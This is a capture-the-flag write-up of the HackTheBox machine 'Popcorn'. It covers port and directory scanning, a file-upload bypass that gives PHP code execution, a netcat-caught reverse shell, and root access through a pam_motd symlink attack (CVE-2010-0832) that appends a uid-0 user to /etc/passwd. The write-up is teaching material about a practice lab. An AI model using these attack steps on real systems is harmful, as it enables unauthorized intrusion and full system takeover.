in this post i will be doing a writeup of a retired box from hackthebox, called popcorn.

this is a “medium” rated linux machine (but really it’s on the easier side).



so first of all we want to run a portscan to see what services are exposed to us. i like using nmap since it has good built-in functionality for scanning services as well as performing different kind of scans.

let’s run a quick scan on the entire TCP port range 1-65536 to determine which ports are open:

nmap -p- -Pn -vvv -oA popcorn-initial -T4

22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

it looks like there’s ssh and http.

you can also scan udp with the -sU flag, but doing a full udp scan takes an insane amount of time and the scan results aren’t always that reliable (because of how udp works in general). if you want to scan udp i suggest scanning the top 1000 ports. (but sometimes the way in can be from udp as well)

to perform service enumeration and script scanning on the ports we will use the -sC and -sV flags:

nmap -p22,80 -Pn -vvv -oA popcorn-detailed -sC -sV -T4

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
|   2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.2.12 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.17 - 2.6.36 (95%), Linux 2.6.32 (95%), Linux 2.4.20 (Red Hat 7.2) (95%), Linux 2.6.17 (95%), Android 2.3.5 (Linux 2.6) (95%), Linux 2.6.30 (95%), Linux 2.6.35 (95%), AVM FRITZ!Box FON WLAN 7240 WAP (94%), Canon imageRUNNER ADVANCE C3320i or C3325 copier (94%), Epson WF-2660 printer (94%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:

take note of the openssh and apache version numbers.

if you google the openssh version you can find the matching ubuntu version which is karmic (9.10)

this is pretty outdated (considering the box is 4 years old it’s to be expected, but still outdated)

http port is running apache 2.2.12 which is also an older version.

let’s see what’s on the webserver.


just a default apache test page.

i’ve checked for /robots.txt which gave a 404. (robots.txt is a file which tells webcrawlers/search engines which directories are allowed/disallowed for indexing)

at this point it’s a good idea to run a fuzzing tool to check for hidden files and directories.

i recommend ffuf since it works pretty fast and has a good feature set.

ffuf -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
index                   [Status: 200, Size: 177, Words: 22, Lines: 5]
test                    [Status: 200, Size: 47067, Words: 2465, Lines: 651]
torrent                 [Status: 301, Size: 310, Words: 20, Lines: 10]
rename                  [Status: 301, Size: 309, Words: 20, Lines: 10]

let’s check the results.


/test appears to be a phpinfo() page, which gives us a great deal of information about the system!

now we know

  • linux kernel version is 2.6.31-14 (which is old and vulnerable)
  • host is 32-bit (i686)

if you scroll further down you’ll find:

  • user is www-data
  • webserver root is /var/www
  • openssl version is 0.9.8g
  • mysql version is 5.1.37

and more.


/rename looks like an API for renaming files, which could be useful.


and /torrent seems the most interesting by far. this is a web app used for sharing and hosting torrents.

exploiting the web app

there’s an upload functionality, which is basically obligatory to mess around with in web applications.

the upload page redirects to /torrent/login.php which has a “sign up” link.

this takes us to where we are presented with a registration form.

i’ve used test as both the username and password, test@test.com for the email address and registered.

follow the login link after the registration and log in with your credentials.

now we’re presented with a slightly different screen:


it seems the uploaded torrents show up here.

now back to the upload page.


here i suggest using burpsuite while playing around with the upload form so you can see what’s going on. (covering burp usage is beyond the scope of this blog post so i’ll assume you have basic knowledge of how to use the proxy and repeater)

so point your browser to burp and start the proxy (turn intercept off).

i assumed the upload form was expecting a .torrent file from me, so i decided to test the regular functionality first, before starting to mess around with it.

go to any linux distribution website and grab their latest torrent file (you just need the .torrent file no need to actually torrent it!)

i got the archlinux torrent from their site and uploaded it to popcorn.

after the upload is completed we’re redirected to its page:


in burp the upload looks like this:


on this page the most interesting thing to me was the screenshots section, with “edit this torrent” button.

when pressed it opens a new window:


and again there’s a file upload option for screenshots.

try uploading a regular image, i decided that a popcorn image was appropriate:


and in burp it looks like this:


so actually this time it’s calling upload_file.php instead of torrents.php.

now send this request to repeater.

remove all the image data from the content body and use this simple php snippet:


change the file extension to .php but keep the content-type as image/jpeg.

it should look something like this:


the file is uploaded successfully.

now go back to the page with torrent details and you will see this:


when you click on the “image file not found” error, it will take you to your php file:


and we have code execution :)

now let’s get an interactive shell.

you can use a simple php reverse shell for this purpose.

to catch the reverse shell you can use netcat in listener mode: nc -lnvvp 1337 will start a listener on port 1337.

change the port and ip in php-reverse-shell.php, and upload it to the site using the same method as before.

when you browse to the php file, you should get a shell as www-data:


we are in :)

let’s perform some basic checks before going forward:

www-data@popcorn:/$ ip a #
www-data@popcorn:/$ hostname # popcorn
www-data@popcorn:/$ uname -ar # 2.6.31-14-generic-pae i686

and we can see that it matches up with the information we found earlier on the phpinfo() page.

let’s see if we can get the user flag:

www-data@popcorn:/$ ls -al /home
total 12
drwxr-xr-x  3 root   root   4096 Mar 17  2017 .
drwxr-xr-x 21 root   root   4096 Aug 11 02:27 ..
drwxr-xr-x  3 george george 4096 Mar 17  2017 george
www-data@popcorn:/$ ls -al /home/george
total 872
drwxr-xr-x 3 george george   4096 Mar 17  2017 .
drwxr-xr-x 3 root   root     4096 Mar 17  2017 ..
-rw------- 1 root   root     2769 May  5  2017 .bash_history
-rw-r--r-- 1 george george    220 Mar 17  2017 .bash_logout
-rw-r--r-- 1 george george   3180 Mar 17  2017 .bashrc
drwxr-xr-x 2 george george   4096 Mar 17  2017 .cache
-rw------- 1 root   root     1571 Mar 17  2017 .mysql_history
-rw------- 1 root   root       19 May  5  2017 .nano_history
-rw-r--r-- 1 george george    675 Mar 17  2017 .profile
-rw-r--r-- 1 george george      0 Mar 17  2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Mar 17  2017 user.txt
www-data@popcorn:/$ cat /home/george/user.txt

looks like we can read user.txt and it contains the user flag!

privilege escalation

previously in my linux privilege escalation basics post i mentioned some methods of enumerating linux machines while looking for privilege escalation methods. now we will put some of these to use.

www-data@popcorn:/$ cat /etc/*issue
Ubuntu 9.10 \n \l

www-data@popcorn:/$ cat /etc/*release
www-data@popcorn:/$ uname -ar
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

the first obvious thing to try would be to use a kernel exploit since it’s so old (which happens to be one of the solutions). you can use full-nelson which will give you root in about 5 seconds. however this isn’t much fun so i’m not going to talk about it.

instead i’ll show you another way without using a kernel exploit :)

let’s check more thoroughly in the /home/ folder:

www-data@popcorn:/$ ls -alR /home
total 12
drwxr-xr-x  3 root   root   4096 Mar 17  2017 .
drwxr-xr-x 21 root   root   4096 Aug 11 02:27 ..
drwxr-xr-x  3 george george 4096 Mar 17  2017 george

total 872
drwxr-xr-x 3 george george   4096 Mar 17  2017 .
drwxr-xr-x 3 root   root     4096 Mar 17  2017 ..
-rw------- 1 root   root     2769 May  5  2017 .bash_history
-rw-r--r-- 1 george george    220 Mar 17  2017 .bash_logout
-rw-r--r-- 1 george george   3180 Mar 17  2017 .bashrc
drwxr-xr-x 2 george george   4096 Mar 17  2017 .cache
-rw------- 1 root   root     1571 Mar 17  2017 .mysql_history
-rw------- 1 root   root       19 May  5  2017 .nano_history
-rw-r--r-- 1 george george    675 Mar 17  2017 .profile
-rw-r--r-- 1 george george      0 Mar 17  2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Mar 17  2017 user.txt

total 8
drwxr-xr-x 2 george george 4096 Mar 17  2017 .
drwxr-xr-x 3 george george 4096 Mar 17  2017 ..
-rw-r--r-- 1 george george    0 Mar 17  2017 motd.legal-displayed
ls -alR /home

the hidden .cache directory has a motd.legal-displayed file! (motd is “message of the day”).

this is basically a shell script which gets executed when you log in (f.e. with ssh).

now if you search motd vulnerability on google, you’ll find this: https://www.exploit-db.com/exploits/14273

reading the script, it mentions the pam version should be 1.1.0 for this to work. let’s verify it:

www-data@popcorn:/$ dpkg -l | grep pam
ii  libpam-modules                      1.1.0-2ubuntu1                    Pluggable Authentication Modules for PAM
ii  libpam-runtime                      1.1.0-2ubuntu1                    Runtime support for the PAM library
ii  libpam0g                            1.1.0-2ubuntu1                    Pluggable Authentication Modules library
ii  python-pam                          0.4.2-12ubuntu3                   A Python interface to the PAM library


the CVE description says: “pam_motd (aka the MOTD module) in libpam-modules before 1.1.0-2ubuntu1.1 in PAM on Ubuntu 9.10 and libpam-modules before 1.1.1-2ubuntu5 in PAM on Ubuntu 10.04 LTS allows local users to change the ownership of arbitrary files via a symlink attack on .cache in a user’s home directory, related to “user file stamps” and the motd.legal-notice file.”

basically we can symlink the .cache directory to anything we want and log in via ssh. after that the symlinked file will belong to us.

let’s try it.

to trigger the vulnerability, we need to first create the .ssh and .cache directories in $HOME (/var/www in this case)

www-data@popcorn:/$ cd /var/www
www-data@popcorn:/var/www$ mkdir .ssh .cache

next step is to create an ssh key pair.

www-data@popcorn:/var/www$ ssh-keygen        
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /var/www/.ssh/id_rsa.
Your public key has been saved in /var/www/.ssh/id_rsa.pub.
The key fingerprint is:
d7:7c:0d:33:92:6d:63:56:1b:69:2e:4d:18:14:9d:9f www-data@popcorn
The key's randomart image is:
+--[ RSA 2048]----+
|            .+=.+|
|             + Bo|
|            o #.o|
|           o * E.|
|        S . o o .|
|         .   .   |
|                 |
|                 |
|                 |

just press enter three times.

set up authorized_keys:

www-data@popcorn:/var/www$ mv .ssh/id_rsa.pub .ssh/authorized_keys

and make sure .ssh directory has the right permissions:

www-data@popcorn:/var/www$ chmod -R 700 .ssh

if the permissions aren’t set to 700 then you will not be able to use the key for logging in.

note: if your netcat shell prevents you from using ssh, you can run python -c 'import pty;pty.spawn("/bin/bash")' to get a semi-interactive pty shell.

before we attempt the exploit try if the ssh login works:

www-data@popcorn:/var/www$ ssh localhost -i ~/.ssh/id_rsa
The authenticity of host 'localhost (::1)' can't be established.
RSA key fingerprint is aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686

To access official Ubuntu documentation, please visit:

  System information as of Tue Aug 11 05:39:37 EEST 2020

  System load: 0.0               Memory usage: 6%   Processes:       113
  Usage of /:  6.2% of 14.80GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at https://landscape.canonical.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Aug 11 05:31:51 2020 from localhost

great. we’re almost ready.

leave the ssh session using exit.

in my privilege escalation blog post’s exploitation section, i mentioned how we can add a user into /etc/passwd.

by using the vulnerability in libpam, we can gain write privileges to this file and add a new user with root privileges.

www-data@popcorn:/var/www$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1031 Mar 17  2017 /etc/passwd

right now we can’t write to this file. let’s set up our symbolic link and log in via ssh.

www-data@popcorn:/var/www$ rm -rf .cache
www-data@popcorn:/var/www$ ln -sf /etc/passwd .cache
www-data@popcorn:/var/www$ ls -al .cache
lrwxrwxrwx 1 www-data www-data 11 Aug 11 05:44 .cache -> /etc/passwd
www-data@popcorn:/var/www$ ssh localhost -i ~/.ssh/id_rsa # exit after logging in
www-data@popcorn:/var/www$ ls -al /etc/passwd
-rw-r--r-- 1 www-data www-data 1031 Mar 17  2017 /etc/passwd

and now /etc/passwd belongs to www-data!

let’s add our root user:

www-data@popcorn:/var/www$ openssl passwd evil
www-data@popcorn:/var/www$ echo "hacker:I7qmEzDbr4/SY:0:0:root:/root:/bin/bash" >> /etc/passwd
www-data@popcorn:/var/www$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
george:x:1000:1000:George Papagiannopoulos,,,:/home/george:/bin/bash
mysql:x:104:113:MySQL Server,,,:/var/lib/mysql:/bin/false

and finally:

www-data@popcorn:/var/www$ su hacker
Password: evil
root@popcorn:/var/www# id
uid=0(root) gid=0(root) groups=0(root)

you can grab the root flag from /root/root.txt.


to summarize what we did:

  • scan ports and identify ssh & http services
  • enumerate http service to find the vulnerable “torrent hoster” app
  • upload our malicious php code as a “screenshot” to get reverse shell as www-data
  • enumerate system and find the vulnerable application
  • escalate our privileges using a symlink attack on /etc/passwd using the bug inlibpam 1.1.0 (CVE-2010-0832)


so that was popcorn.

all in all i would say this is a decent beginner box, it’s a nice example of how file upload vulnerabilities can be used to gain code execution on a machine.

i hope this was helpful. i will try to post more of these every now and then, if you’re interested keep following!

happy hacking!